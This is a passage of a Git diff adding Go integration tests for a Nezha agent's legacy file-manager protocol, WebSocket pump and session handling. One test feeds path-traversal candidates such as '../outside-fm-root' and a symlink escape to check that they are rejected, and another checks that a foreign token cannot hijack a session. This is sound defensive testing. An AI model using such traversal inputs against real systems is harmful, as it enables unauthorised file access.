*pumpRecordingConn { + return &pumpRecordingConn{closeErr: closeErr} +} + +func (connection *pumpRecordingConn) Close() error { + connection.mu.Lock() + connection.closeCountValue++ + connection.mu.Unlock() + underlyingErr := connection.Conn.Close() + if connection.closeEntered != nil { + close(connection.closeEntered) + <-connection.allowClose + } + if connection.closeErr != nil { + return connection.closeErr + } + return underlyingErr +} + +func (connection *pumpRecordingConn) awaitClose(t *testing.T) { + t.Helper() + select { + case <-connection.closeEntered: + case <-time.After(time.Second): + t.Fatal("pump owner did not start physical close") + } +} + +func (connection *pumpRecordingConn) releaseClose() { + if connection.allowClose != nil { + connection.releaseOnce.Do(func() { close(connection.allowClose) }) + } +} + +func (connection *pumpRecordingConn) closeCount() int { + connection.mu.Lock() + defer connection.mu.Unlock() + return connection.closeCountValue +} + +func heldPumpConnectionWithConn(t *testing.T, server *httptest.Server, recordedConnection *pumpRecordingConn) *client.WebSocketConnection { + t.Helper() + dialer := *websocket.DefaultDialer + dialer.NetDialContext = func(ctx context.Context, network, address string) (net.Conn, error) { + connection, err := (&net.Dialer{}).DialContext(ctx, network, address) + if err != nil { + return nil, err + } + recordedConnection.Conn = connection + return recordedConnection, nil + } + httpClient, err := client.New(client.Config{BaseURL: server.URL, RequestTimeout: time.Second, MaxResponseBytes: 1024, WebSocketDialer: &dialer}) + require.NoError(t, err) + connection, err := httpClient.DialWebSocket(context.Background(), "/held") + require.NoError(t, err) + t.Cleanup(func() { _ = connection.Close() }) + return connection +} diff --git a/integration/agentcompat/internal/scenario/held_websocket_pump_test.go b/integration/agentcompat/internal/scenario/held_websocket_pump_test.go new file mode 100644 index 00000000..cb7cc190 --- /dev/null +++ b/integration/agentcompat/internal/scenario/held_websocket_pump_test.go @@ -0,0 +1,156 @@ +//go:build linux + +package scenario + +import ( + "context" + "net/http" + "net/http/httptest" + "testing" + "time" + + "github.com/gorilla/websocket" + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/client" +) + +func TestHeldWebSocketPumpPreservesFrameOrderAndType(t *testing.T) { + serverReady := make(chan struct{}) + serverRelease := make(chan struct{}) + server := heldPumpServer(t, func(connection *websocket.Conn) { + close(serverReady) + require.NoError(t, connection.WriteMessage(websocket.TextMessage, []byte("text"))) + require.NoError(t, connection.WriteMessage(websocket.BinaryMessage, []byte{1, 2})) + <-serverRelease + }) + connection := heldPumpConnection(t, server) + pump, err := newHeldWebSocketPump(context.Background(), connection, 2) + require.NoError(t, err) + <-serverReady + select { + case first := <-pump.Events(): + require.Equal(t, client.FrameText, first.Type) + require.Equal(t, []byte("text"), first.Payload) + case <-time.After(time.Second): + t.Fatal("missing text frame") + } + select { + case second := <-pump.Events(): + require.Equal(t, client.FrameBinary, second.Type) + require.Equal(t, []byte{1, 2}, second.Payload) + case <-time.After(time.Second): + t.Fatal("missing binary frame") + } + require.NoError(t, pump.Stop(context.Background())) + close(serverRelease) +} + +func TestHeldWebSocketPumpParentCancellationJoinsReader(t *testing.T) { + serverReady := make(chan struct{}) + serverRelease := make(chan struct{}) + server := heldPumpServer(t, func(*websocket.Conn) { + close(serverReady) + <-serverRelease + }) + connection := heldPumpConnection(t, server) + parent, cancel := context.WithCancel(context.Background()) + pump, err := newHeldWebSocketPump(parent, connection, 1) + require.NoError(t, err) + <-serverReady + cancel() + require.NoError(t, pump.Wait(context.Background())) + require.NoError(t, pump.Err()) + _, ok := <-pump.Events() + require.False(t, ok) + require.NoError(t, pump.Stop(context.Background())) + require.NoError(t, pump.Stop(context.Background())) + require.NoError(t, pump.Err()) + close(serverRelease) +} + +func TestHeldWebSocketPumpStopJoinsBlockedRead(t *testing.T) { + serverReady := make(chan struct{}) + serverRelease := make(chan struct{}) + server := heldPumpServer(t, func(*websocket.Conn) { + close(serverReady) + <-serverRelease + }) + connection := heldPumpConnection(t, server) + pump, err := newHeldWebSocketPump(context.Background(), connection, 1) + require.NoError(t, err) + <-serverReady + stopContext, cancel := context.WithTimeout(context.Background(), time.Second) + defer cancel() + require.NoError(t, pump.Stop(stopContext)) + require.NoError(t, pump.Wait(context.Background())) + require.NoError(t, pump.Err()) + _, ok := <-pump.Events() + require.False(t, ok) + close(serverRelease) +} + +func TestHeldWebSocketPumpBufferFullFailsFast(t *testing.T) { + serverReady := make(chan struct{}) + server := heldPumpServer(t, func(connection *websocket.Conn) { + close(serverReady) + for _, payload := range []string{"one", "two"} { + require.NoError(t, connection.WriteMessage(websocket.TextMessage, []byte(payload))) + } + }) + connection := heldPumpConnection(t, server) + pump, err := newHeldWebSocketPump(context.Background(), connection, 1) + require.NoError(t, err) + <-serverReady + select { + case <-pump.Done(): + case <-time.After(time.Second): + t.Fatal("buffer-full pump did not stop") + } + require.ErrorIs(t, pump.Err(), ErrHeldFrameBufferFull) + require.NoError(t, pump.Wait(context.Background())) + require.ErrorIs(t, pump.Stop(context.Background()), ErrHeldFrameBufferFull) + require.ErrorIs(t, pump.Stop(context.Background()), ErrHeldFrameBufferFull) +} + +func TestHeldWebSocketPumpStopIsIdempotentAndRetainsPeerError(t *testing.T) { + server := heldPumpServer(t, func(connection *websocket.Conn) { + require.NoError(t, connection.WriteMessage(websocket.CloseMessage, websocket.FormatCloseMessage(websocket.CloseNormalClosure, "peer"))) + }) + connection := heldPumpConnection(t, server) + pump, err := newHeldWebSocketPump(context.Background(), connection, 1) + require.NoError(t, err) + if err := pump.Wait(context.Background()); err != nil { + t.Fatal(err) + } + peerErr := pump.Err() + require.NotNil(t, peerErr) + require.ErrorIs(t, pump.Stop(context.Background()), peerErr) + require.ErrorIs(t, pump.Stop(context.Background()), peerErr) +} + +func heldPumpServer(t *testing.T, serve func(*websocket.Conn)) *httptest.Server { + upgrader := websocket.Upgrader{} + server := httptest.NewServer(http.HandlerFunc(func(writer http.ResponseWriter, request *http.Request) { + connection, err := upgrader.Upgrade(writer, request, nil) + require.NoError(t, err) + defer connection.Close() + serve(connection) + })) + t.Cleanup(server.Close) + return server +} + +func heldPumpConnection(t *testing.T, server *httptest.Server) *client.WebSocketConnection { + httpClient := newTestClient(t, server.URL) + connection, err := httpClient.DialWebSocket(context.Background(), "/held") + require.NoError(t, err) + t.Cleanup(func() { _ = connection.Close() }) + return connection +} + +func newTestClient(t *testing.T, baseURL string) *client.Client { + result, err := client.New(client.Config{BaseURL: baseURL, RequestTimeout: time.Second, MaxResponseBytes: 1024}) + require.NoError(t, err) + return result +} diff --git a/integration/agentcompat/internal/scenario/legacy_fm.go b/integration/agentcompat/internal/scenario/legacy_fm.go new file mode 100644 index 00000000..0c6ce812 --- /dev/null +++ b/integration/agentcompat/internal/scenario/legacy_fm.go @@ -0,0 +1,269 @@ +//go:build linux + +package scenario + +import ( + "bytes" + "context" + "crypto/sha256" + "errors" + "fmt" + "os" + "path/filepath" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/agent" + "github.com/nezhahq/nezha/integration/agentcompat/internal/client" + "github.com/nezhahq/nezha/integration/agentcompat/internal/contract" + "github.com/nezhahq/nezha/integration/agentcompat/internal/dashboard" + "github.com/nezhahq/nezha/integration/agentcompat/internal/fixture" + processharness "github.com/nezhahq/nezha/integration/agentcompat/internal/process" +) + +type LegacyFMInput struct { + Paths contract.Paths + Fault contract.Fault +} + +type LegacyFM struct{} + +func (LegacyFM) Run(ctx context.Context, input LegacyFMInput) (result Result, runErr error) { + assertions := NewAssertionSet() + runID, err := newLegacyFMRunID() + if err != nil { + return Result{Name: "legacy-fm", Assertions: assertions.Results(), Error: err.Error()}, err + } + dashboardInstance, err := dashboard.Start(ctx, dashboard.StartConfig{SourceDir: input.Paths.NezhaSource().String(), ReceiptGate: true}) + if err != nil { + return Result{Name: "legacy-fm", Assertions: assertions.Results(), Error: err.Error()}, err + } + result.CleanupOK = true + defer func() { + cleanupErr := dashboardInstance.Stop(context.Background()) + result.CleanupOK = result.CleanupOK && cleanupErr == nil && dashboardInstance.CleanupReceipt().Passed + if cleanupErr != nil && runErr == nil { + runErr = cleanupErr + } + result.Passed = runErr == nil + result.Error = errorText(runErr) + }() + + secret := dashboardInstance.AgentSecret() + agentInstance, err := agent.Start(ctx, agent.AgentStartConfig{ + SourceDir: input.Paths.AgentSource().String(), Endpoint: dashboardInstance.Endpoint(), + Secret: secret, UUID: "00000000-0000-0000-0000-000000000115", + FMObserverRunID: runID, + }) + if err != nil { + return Result{Name: "legacy-fm", Assertions: assertions.Results(), CleanupOK: true, Error: err.Error()}, err + } + defer func() { + cleanupErr := agentInstance.Stop(context.Background()) + result.CleanupOK = result.CleanupOK && cleanupErr == nil && agentInstance.CleanupReceipt().Passed + if cleanupErr != nil && runErr == nil { + runErr = cleanupErr + } + }() + + if input.Fault.String() == "agent-bad-secret" { + return finishLegacyFM(assertions, errors.New("fault injection agent-bad-secret")) + } + if err := dashboardInstance.WaitForReceiptAccepted(ctx); err != nil { + return finishLegacyFM(assertions, err) + } + if err := dashboardInstance.ReleaseReceipt(ctx); err != nil { + return finishLegacyFM(assertions, err) + } + if _, err := agentInstance.WaitReady(ctx, dashboardInstance); err != nil { + return finishLegacyFM(assertions, err) + } + serverID, err := findLegacyFMServerID(ctx, dashboardInstance, agentInstance.UUID()) + if err != nil { + return finishLegacyFM(assertions, err) + } + + root, err := fixture.NewAgentRoot(agentInstance.WorkspaceRoot(), "fm-files") + if err != nil { + return finishLegacyFM(assertions, err) + } + listPath, err := root.Path("legacy/list") + if err != nil { + return finishLegacyFM(assertions, err) + } + uploadPath, err := root.Path("legacy/upload.bin") + if err != nil { + return finishLegacyFM(assertions, err) + } + downloadPath, err := root.Path("legacy/download.bin") + if err != nil { + return finishLegacyFM(assertions, err) + } + payloadPattern := []byte("legacy-fm-exact-payload\x00\xff") + payload := bytes.Repeat(payloadPattern, (1<<20+257)/len(payloadPattern)+1) + payload = payload[:1<<20+257] + sentinel := []byte("outside-fm-root-sentinel") + workspaceRoot, err := os.OpenRoot(agentInstance.WorkspaceRoot()) + if err != nil { + return finishLegacyFM(assertions, err) + } + defer workspaceRoot.Close() + sentinelNames := []string{"outside-fm-root-a.txt", "outside-fm-root-b.txt"} + for _, name := range sentinelNames { + if err := workspaceRoot.WriteFile(name, sentinel, 0o600); err != nil { + return finishLegacyFM(assertions, err) + } + } + if err := os.WriteFile(downloadPath.String(), payload, 0o600); err != nil { + return finishLegacyFM(assertions, err) + } + if err := os.Mkdir(listPath.String(), 0o700); err != nil { + return finishLegacyFM(assertions, err) + } + if err := os.WriteFile(filepath.Join(listPath.String(), "entry.txt"), []byte("entry"), 0o600); err != nil { + return finishLegacyFM(assertions, err) + } + pathRejectionDispatches, err := probeLegacyFMRejectedPathDispatches(ctx, root) + assertions.Record("rejected paths dispatch zero FM frames", err == nil && pathRejectionDispatches == 0, fmt.Sprintf("path_rejections_dispatched: %d", pathRejectionDispatches)) + if err != nil || pathRejectionDispatches != 0 { + return finishLegacyFM(assertions, errors.Join(err, errors.New("rejected FM path dispatched a frame"))) + } + baselineSample, err := processharness.SampleProcess(agentInstance.PID()) + if err != nil { + return finishLegacyFM(assertions, err) + } + + admin := dashboardInstance.Clients().REST + session, err := createLegacyFMSession(ctx, admin, serverID) + if err != nil { + return finishLegacyFM(assertions, err) + } + ws, err := dashboardInstance.Clients().WebSocket.DialWebSocket(ctx, "/api/v1/ws/file/"+session) + if err != nil { + return finishLegacyFM(assertions, err) + } + defer ws.Close() + + dispatcher := legacyFMCommandDispatcher{writer: ws, root: root} + if err := dispatcher.list(ctx, "legacy/list"); err != nil { + return finishLegacyFM(assertions, err) + } + listFrame, err := readBinaryFrame(ctx, ws) + if err != nil { + return finishLegacyFM(assertions, err) + } + parsedList, err := parseLegacyFMList(listFrame) + assertions.Record("list uses NZFN and exact entry", err == nil && parsedList.Path == listPath.String() && len(parsedList.Entries) == 1 && parsedList.Entries[0].Name == "entry.txt" && !parsedList.Entries[0].Dir, errorText(err)) + if err != nil { + return finishLegacyFM(assertions, err) + } + + if err := dispatcher.upload(ctx, "legacy/upload.bin", uint64(len(payload))); err != nil { + return finishLegacyFM(assertions, err) + } + if err := ws.WriteFrame(ctx, client.Frame{Type: client.FrameBinary, Payload: payload[:1<<20]}); err != nil { + return finishLegacyFM(assertions, err) + } + if err := ws.WriteFrame(ctx, client.Frame{Type: client.FrameBinary, Payload: payload[1<<20:]}); err != nil { + return finishLegacyFM(assertions, err) + } + completion, err := readBinaryFrame(ctx, ws) + if err != nil { + return finishLegacyFM(assertions, err) + } + if err := requireLegacyFMMarker(completion, "NZUP"); err != nil { + return finishLegacyFM(assertions, err) + } + written, err := os.ReadFile(uploadPath.String()) + assertions.Record("upload returns NZUP and exact bytes", err == nil && bytes.Equal(written, payload), errorText(err)) + if err != nil || !bytes.Equal(written, payload) { + return finishLegacyFM(assertions, errors.New("uploaded content mismatch")) + } + + if err := dispatcher.download(ctx, "legacy/download.bin"); err != nil { + return finishLegacyFM(assertions, err) + } + producerAwaiter := newLegacyFMProducerAwaiter(agentInstance.FMProducerObserver(), runID, agentInstance.UUID(), session) + activeProducerSample, err := producerAwaiter.await(ctx, "active") + if err != nil { + return finishLegacyFM(assertions, err) + } + header, err := readBinaryFrame(ctx, ws) + if err != nil { + return finishLegacyFM(assertions, err) + } + downloadHeader, err := parseLegacyFMDownload(header) + if err != nil { + return finishLegacyFM(assertions, err) + } + if downloadHeader.Size != uint64(len(payload)) { + return finishLegacyFM(assertions, errors.New("download header size mismatch")) + } + downloaded, downloadFrameCount, err := readLegacyFMDownload(ctx, ws, downloadHeader.Size) + if err != nil { + return finishLegacyFM(assertions, err) + } + digest := sha256.Sum256(downloaded) + wantDigest := sha256.Sum256(payload) + assertions.Record("download returns NZTD across frames with exact hash/content", downloadFrameCount >= 2 && bytes.Equal(downloaded, payload) && digest == wantDigest, fmt.Sprintf("size=%d frames=%d", downloadHeader.Size, downloadFrameCount)) + if downloadFrameCount < 2 || !bytes.Equal(downloaded, payload) { + return finishLegacyFM(assertions, errors.New("download framing or content mismatch")) + } + if err := dispatcher.download(ctx, "legacy/missing.bin"); err != nil { + return finishLegacyFM(assertions, err) + } + errorFrame, err := readBinaryFrame(ctx, ws) + if err != nil { + return finishLegacyFM(assertions, err) + } + _, nerr := parseLegacyFMDownload(errorFrame) + assertions.Record("missing download returns NERR", errors.Is(nerr, errLegacyFMRemote), errorText(nerr)) + + scopeChecksErr := verifyLegacyFMMissingScopes(ctx, dashboardInstance, serverID, session) + assertions.Record("each missing scope rejects FM creation and WebSocket", scopeChecksErr == nil, errorText(scopeChecksErr)) + if scopeChecksErr != nil { + return finishLegacyFM(assertions, scopeChecksErr) + } + + foreign, removeForeignUser, err := createForeignLegacyFMClient(ctx, dashboardInstance) + if err != nil { + return finishLegacyFM(assertions, err) + } + // Temporary users are scenario resources, so deletion failures must fail cleanup evidence. + defer func() { + cleanupErr := removeForeignUser() + result.CleanupOK = result.CleanupOK && cleanupErr == nil + if cleanupErr != nil && runErr == nil { + runErr = cleanupErr + } + }() + _, hijackErr := foreign.DialWebSocket(ctx, "/api/v1/ws/file/"+session) + assertions.Record("foreign PAT cannot hijack FM session", isLegacyFMSessionRejected(hijackErr), errorText(hijackErr)) + + if err := ws.Close(); err != nil { + return finishLegacyFM(assertions, err) + } + closedProducerSample, err := producerAwaiter.await(ctx, "closed") + if err != nil { + return finishLegacyFM(assertions, err) + } + residueProbe := legacyFMResidueProbe{ + assertions: assertions, agentPID: agentInstance.PID(), + session: session, root: root, baseline: baselineSample, sessionClient: dashboardInstance.Clients().WebSocket, + producer: producerAwaiter.observation(activeProducerSample, closedProducerSample), + } + if err := residueProbe.run(ctx); err != nil { + return finishLegacyFM(assertions, err) + } + + sentinelErr := verifyLegacyFMSentinels(workspaceRoot, sentinelNames, sentinel) + assertions.Record("outside-root sentinels remain unchanged", sentinelErr == nil, errorText(sentinelErr)) + if sentinelErr != nil { + return finishLegacyFM(assertions, sentinelErr) + } + filesystem := newMCPFilesystemClient(dashboardInstance.Clients().MCP, serverID, root) + fixtureCleanupErr := cleanupLegacyFMFixtures(ctx, filesystem) + assertions.Record("MCP cleanup removes FM fixture residue", fixtureCleanupErr == nil, errorText(fixtureCleanupErr)) + if fixtureCleanupErr != nil { + return finishLegacyFM(assertions, fixtureCleanupErr) + } + return finishLegacyFM(assertions, nil) +} diff --git a/integration/agentcompat/internal/scenario/legacy_fm_observation.go b/integration/agentcompat/internal/scenario/legacy_fm_observation.go new file mode 100644 index 00000000..e3446860 --- /dev/null +++ b/integration/agentcompat/internal/scenario/legacy_fm_observation.go @@ -0,0 +1,139 @@ +//go:build linux + +package scenario + +import ( + "context" + "errors" + "fmt" + "os" + "path/filepath" + "strings" + "time" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/client" + "github.com/nezhahq/nezha/integration/agentcompat/internal/fixture" + processharness "github.com/nezhahq/nezha/integration/agentcompat/internal/process" +) + +type legacyFMResidueProbe struct { + assertions *AssertionSet + agentPID int + session string + root fixture.AgentRoot + baseline processharness.Sample + sessionClient *client.Client + producer legacyFMProducerObservation +} + +type legacyFMCountingWriter struct { + frameCount int +} + +func (writer *legacyFMCountingWriter) WriteFrame(context.Context, client.Frame) error { + writer.frameCount++ + return nil +} + +func probeLegacyFMRejectedPathDispatches(ctx context.Context, root fixture.AgentRoot) (int, error) { + symlinkName := "rejected-symlink-parent" + symlinkPath := filepath.Join(root.Absolute(), symlinkName) + if err := os.Symlink(filepath.Dir(root.Absolute()), symlinkPath); err != nil { + return 0, fmt.Errorf("create rejected-path symlink: %w", err) + } + defer os.Remove(symlinkPath) + + candidates := []string{ + filepath.Join(filepath.Dir(root.Absolute()), "outside-fm-root"), + "../outside-fm-root", + ".", + `C:\outside-fm-root`, + `inside\outside`, + symlinkName + "/file", + } + writer := &legacyFMCountingWriter{} + dispatcher := legacyFMCommandDispatcher{writer: writer, root: root} + for _, candidate := range candidates { + operations := []func() error{ + func() error { return dispatcher.list(ctx, candidate) }, + func() error { return dispatcher.upload(ctx, candidate, 1) }, + func() error { return dispatcher.download(ctx, candidate) }, + } + for _, operation := range operations { + var pathErr *fixture.AgentPathError + if err := operation(); !errors.As(err, &pathErr) { + return writer.frameCount, fmt.Errorf("rejected FM path %q crossed dispatch boundary: %w", candidate, err) + } + } + } + return writer.frameCount, nil +} + +func countLegacyFMFixtureOpenFiles(pid int, root fixture.AgentRoot) (int, error) { + entries, err := os.ReadDir(fmt.Sprintf("/proc/%d/fd", pid)) + if err != nil { + return 0, fmt.Errorf("read Agent file descriptors: %w", err) + } + count := 0 + rootPath := filepath.Clean(root.Absolute()) + for _, entry := range entries { + target, readErr := os.Readlink(filepath.Join("/proc", fmt.Sprint(pid), "fd", entry.Name())) + if readErr != nil { + if errors.Is(readErr, os.ErrNotExist) { + continue + } + return 0, fmt.Errorf("read Agent file descriptor %s: %w", entry.Name(), readErr) + } + target = strings.TrimSuffix(target, " (deleted)") + if target == rootPath || strings.HasPrefix(target, rootPath+string(filepath.Separator)) { + count++ + } + } + return count, nil +} + +func waitForLegacyFMFixtureOpenFilesClosed(ctx context.Context, pid int, root fixture.AgentRoot) (int, error) { + ticker := time.NewTicker(25 * time.Millisecond) + defer ticker.Stop() + for { + count, err := countLegacyFMFixtureOpenFiles(pid, root) + if err != nil || count == 0 { + return count, err + } + select { + case <-ctx.Done(): + return count, ctx.Err() + case <-ticker.C: + } + } +} + +func (probe legacyFMResidueProbe) run(ctx context.Context) error { + sessionResidueCount, cleanupErr := waitForLegacyFMSessionCleanup(ctx, probe.sessionClient, probe.session) + probe.assertions.Record("closed FM WebSocket removes session", cleanupErr == nil && sessionResidueCount == 0, fmt.Sprintf("fm_session_residue_count: %d; error=%s", sessionResidueCount, errorText(cleanupErr))) + if cleanupErr != nil { + return cleanupErr + } + + producerErr := probe.producer.validate() + probe.assertions.Record("FM producer is active then exits", producerErr == nil, probe.producer.details()) + if producerErr != nil { + return producerErr + } + + openFileResidueCount, openFileErr := waitForLegacyFMFixtureOpenFilesClosed(ctx, probe.agentPID, probe.root) + probe.assertions.Record("FM closes fixture-root files", openFileErr == nil && openFileResidueCount == 0, fmt.Sprintf("fm_open_file_residue_count: %d", openFileResidueCount)) + if openFileErr != nil { + return openFileErr + } + + residueSample, err := processharness.SampleProcess(probe.agentPID) + if err != nil { + probe.assertions.Record("Agent process residue has no drift", false, errorText(err)) + return err + } + processResidue := legacyFMProcessResidue{Baseline: probe.baseline, End: residueSample} + processErr := processResidue.validate() + probe.assertions.Record("Agent process residue has no drift", processErr == nil, fmt.Sprintf("baseline_non_stdio_fds=%d end_non_stdio_fds=%d baseline_descendants=%d end_descendants=%d baseline_tcp_listeners=%d end_tcp_listeners=%d baseline_tcp6_listeners=%d end_tcp6_listeners=%d", probe.baseline.NonStdioFDCount, residueSample.NonStdioFDCount, probe.baseline.DescendantCount, residueSample.DescendantCount, probe.baseline.TCPListenerCount, residueSample.TCPListenerCount, probe.baseline.TCP6ListenerCount, residueSample.TCP6ListenerCount)) + return processErr +} diff --git a/integration/agentcompat/internal/scenario/legacy_fm_protocol.go b/integration/agentcompat/internal/scenario/legacy_fm_protocol.go new file mode 100644 index 00000000..21e55a29 --- /dev/null +++ b/integration/agentcompat/internal/scenario/legacy_fm_protocol.go @@ -0,0 +1,115 @@ +//go:build linux + +package scenario + +import ( + "bytes" + "encoding/binary" + "errors" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/fixture" +) + +var ( + errLegacyFMInvalidFrame = errors.New("legacy FM invalid frame") + errLegacyFMUnexpected = errors.New("legacy FM unexpected frame") +) + +type legacyFMRemoteError struct{} + +func (legacyFMRemoteError) Error() string { return "legacy FM agent error" } + +var errLegacyFMRemote = legacyFMRemoteError{} + +const ( + legacyFMListOp byte = 0x00 + legacyFMDownloadOp byte = 0x01 + legacyFMUploadOp byte = 0x02 +) + +type legacyFMEntry struct { + Name string + Dir bool +} + +type legacyFMList struct { + Path string + Entries []legacyFMEntry +} + +type legacyFMDownloadHeader struct { + Size uint64 +} + +func buildLegacyFMList(path fixture.AgentPath) []byte { + return append([]byte{legacyFMListOp}, []byte(path.String())...) +} + +func buildLegacyFMUpload(path fixture.AgentPath, size uint64) []byte { + frame := make([]byte, 1+8+len(path.String())) + frame[0] = legacyFMUploadOp + binary.BigEndian.PutUint64(frame[1:9], size) + copy(frame[9:], path.String()) + return frame +} + +func buildLegacyFMDownload(path fixture.AgentPath) []byte { + return append([]byte{legacyFMDownloadOp}, []byte(path.String())...) +} + +func parseLegacyFMList(frame []byte) (legacyFMList, error) { + if message, ok := parseLegacyFMError(frame); ok { + return legacyFMList{}, message + } + if len(frame) < 8 || !bytes.Equal(frame[:4], []byte("NZFN")) { + return legacyFMList{}, errLegacyFMInvalidFrame + } + pathSize := binary.BigEndian.Uint32(frame[4:8]) + if pathSize == 0 || uint64(pathSize)+8 > uint64(len(frame)) { + return legacyFMList{}, errLegacyFMInvalidFrame + } + pathEnd := 8 + int(pathSize) + result := legacyFMList{Path: string(frame[8:pathEnd])} + for cursor := pathEnd; cursor < len(frame); { + if len(frame)-cursor < 2 { + return legacyFMList{}, errLegacyFMInvalidFrame + } + entrySize := int(frame[cursor+1]) + if entrySize == 0 || cursor+2+entrySize > len(frame) || frame[cursor] > 1 { + return legacyFMList{}, errLegacyFMInvalidFrame + } + result.Entries = append(result.Entries, legacyFMEntry{ + Name: string(frame[cursor+2 : cursor+2+entrySize]), + Dir: frame[cursor] == 1, + }) + cursor += 2 + entrySize + } + return result, nil +} + +func parseLegacyFMDownload(frame []byte) (legacyFMDownloadHeader, error) { + if message, ok := parseLegacyFMError(frame); ok { + return legacyFMDownloadHeader{}, message + } + if len(frame) != 12 || !bytes.Equal(frame[:4], []byte("NZTD")) { + return legacyFMDownloadHeader{}, errLegacyFMInvalidFrame + } + return legacyFMDownloadHeader{Size: binary.BigEndian.Uint64(frame[4:12])}, nil +} + +func parseLegacyFMError(frame []byte) (error, bool) { + if len(frame) < 4 || !bytes.Equal(frame[:4], []byte("NERR")) { + return nil, false + } + return errLegacyFMRemote, true +} + +func requireLegacyFMMarker(frame []byte, marker string) error { + if message, ok := parseLegacyFMError(frame); ok { + return message + } + if !bytes.Equal(frame, []byte(marker)) { + return errLegacyFMUnexpected + } + return nil +} diff --git a/integration/agentcompat/internal/scenario/legacy_fm_protocol_error_test.go b/integration/agentcompat/internal/scenario/legacy_fm_protocol_error_test.go new file mode 100644 index 00000000..4881c314 --- /dev/null +++ b/integration/agentcompat/internal/scenario/legacy_fm_protocol_error_test.go @@ -0,0 +1,72 @@ +//go:build linux + +package scenario + +import ( + "encoding/binary" + "errors" + "testing" + + "github.com/stretchr/testify/require" +) + +func TestLegacyFMProtocol_ParsersRejectMalformedFrames(t *testing.T) { + tests := []struct { + name string + call func() error + }{ + {name: "list magic", call: func() error { _, err := parseLegacyFMList([]byte("bad")); return err }}, + {name: "list truncated path", call: func() error { return parseListFrame([]byte{'N', 'Z', 'F', 'N', 0, 0, 0, 4, 'x'}) }}, + {name: "list invalid entry type", call: func() error { return parseListFrame([]byte{'N', 'Z', 'F', 'N', 0, 0, 0, 1, 'x', 2, 1, 'a'}) }}, + {name: "download short", call: func() error { _, err := parseLegacyFMDownload([]byte("NZTD")); return err }}, + {name: "marker mismatch", call: func() error { return requireLegacyFMMarker([]byte("NERR"), "NZUP") }}, + {name: "NERR list response", call: func() error { _, err := parseLegacyFMList([]byte("NERRdenied")); return err }}, + {name: "NERR download response", call: func() error { _, err := parseLegacyFMDownload([]byte("NERRmissing")); return err }}, + } + for _, test := range tests { + t.Run(test.name, func(t *testing.T) { + if err := test.call(); err == nil { + t.Fatal("malformed frame accepted") + } else if !errors.Is(err, errLegacyFMInvalidFrame) && !errors.Is(err, errLegacyFMUnexpected) && !errors.Is(err, errLegacyFMRemote) { + t.Fatalf("unexpected error = %v", err) + } + }) + } +} + +func TestLegacyFMProtocol_RedactsRemotePayloadAndParsedListData(t *testing.T) { + sensitivePath := "/workspace/secret-fixture/pat-token" + sensitiveRemote := "NERRremote-pat-token" + listFrame := make([]byte, 8, 8+len(sensitivePath)+2) + copy(listFrame, []byte("NZFN")) + binary.BigEndian.PutUint32(listFrame[4:], uint32(len(sensitivePath))) + listFrame = append(listFrame, []byte(sensitivePath)...) + listFrame = append(listFrame, 0) + + listErr := listErrorForTest(listFrame) + remoteErr := listErrorForTest([]byte(sensitiveRemote)) + for _, err := range []error{listErr, remoteErr} { + require.Error(t, err) + require.NotContains(t, err.Error(), sensitivePath) + require.NotContains(t, err.Error(), "pat-token") + require.NotContains(t, err.Error(), "NERRremote") + } +} + +func TestLegacyFMProtocol_RedactsMarkerMismatch(t *testing.T) { + err := requireLegacyFMMarker([]byte("wrong-secret-marker"), "expected-secret-marker") + + require.ErrorIs(t, err, errLegacyFMUnexpected) + require.NotContains(t, err.Error(), "wrong-secret-marker") + require.NotContains(t, err.Error(), "expected-secret-marker") +} + +func listErrorForTest(frame []byte) error { + _, err := parseLegacyFMList(frame) + return err +} + +func parseListFrame(frame []byte) error { + _, err := parseLegacyFMList(frame) + return err +} diff --git a/integration/agentcompat/internal/scenario/legacy_fm_protocol_test.go b/integration/agentcompat/internal/scenario/legacy_fm_protocol_test.go new file mode 100644 index 00000000..82ffcf80 --- /dev/null +++ b/integration/agentcompat/internal/scenario/legacy_fm_protocol_test.go @@ -0,0 +1,225 @@ +//go:build linux + +package scenario + +import ( + "bytes" + "context" + "encoding/binary" + "errors" + "os" + "path/filepath" + "testing" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/agent" + "github.com/nezhahq/nezha/integration/agentcompat/internal/client" + "github.com/nezhahq/nezha/integration/agentcompat/internal/fixture" + processharness "github.com/nezhahq/nezha/integration/agentcompat/internal/process" +) + +type legacyFMRecordingWriter struct { + frames []client.Frame +} + +func (writer *legacyFMRecordingWriter) WriteFrame(_ context.Context, frame client.Frame) error { + writer.frames = append(writer.frames, frame) + return nil +} + +type legacyFMFilesystemWriter struct { + frames int +} + +func (writer *legacyFMFilesystemWriter) WriteFrame(_ context.Context, frame client.Frame) error { + writer.frames++ + switch frame.Payload[0] { + case 0: + _, err := os.ReadDir(string(frame.Payload[1:])) + return err + case 1: + _, err := os.ReadFile(string(frame.Payload[1:])) + return err + case 2: + return os.WriteFile(string(frame.Payload[9:]), []byte("uploaded"), 0o600) + default: + return errors.New("unexpected FM operation") + } +} + +func TestLegacyFM_BuildersRequireAgentPath(t *testing.T) { + var _ func(fixture.AgentPath) []byte = buildLegacyFMList + var _ func(fixture.AgentPath) []byte = buildLegacyFMDownload + var _ func(fixture.AgentPath, uint64) []byte = buildLegacyFMUpload + + root, err := fixture.NewAgentRoot(t.TempDir(), "fm-protocol") + if err != nil { + t.Fatal(err) + } + path, err := root.Path("wire/file.bin") + if err != nil { + t.Fatal(err) + } + + if got, want := buildLegacyFMList(path), append([]byte{0x00}, []byte(path.String())...); !bytes.Equal(got, want) { + t.Fatalf("list frame = %x, want %x", got, want) + } + if got, want := buildLegacyFMDownload(path), append([]byte{0x01}, []byte(path.String())...); !bytes.Equal(got, want) { + t.Fatalf("download frame = %x, want %x", got, want) + } + wantUpload := append([]byte{0x02}, make([]byte, 8)...) + binary.BigEndian.PutUint64(wantUpload[1:9], 0x0102030405060708) + wantUpload = append(wantUpload, []byte(path.String())...) + if got := buildLegacyFMUpload(path, 0x0102030405060708); !bytes.Equal(got, wantUpload) { + t.Fatalf("upload frame = %x, want %x", got, wantUpload) + } +} + +func TestLegacyFM_RejectedPathDispatchesNoFrame(t *testing.T) { + root, err := fixture.NewAgentRoot(t.TempDir(), "fm-path-boundary") + if err != nil { + t.Fatal(err) + } + symlinkTarget := t.TempDir() + if err := os.Symlink(symlinkTarget, filepath.Join(root.Absolute(), "linked")); err != nil { + 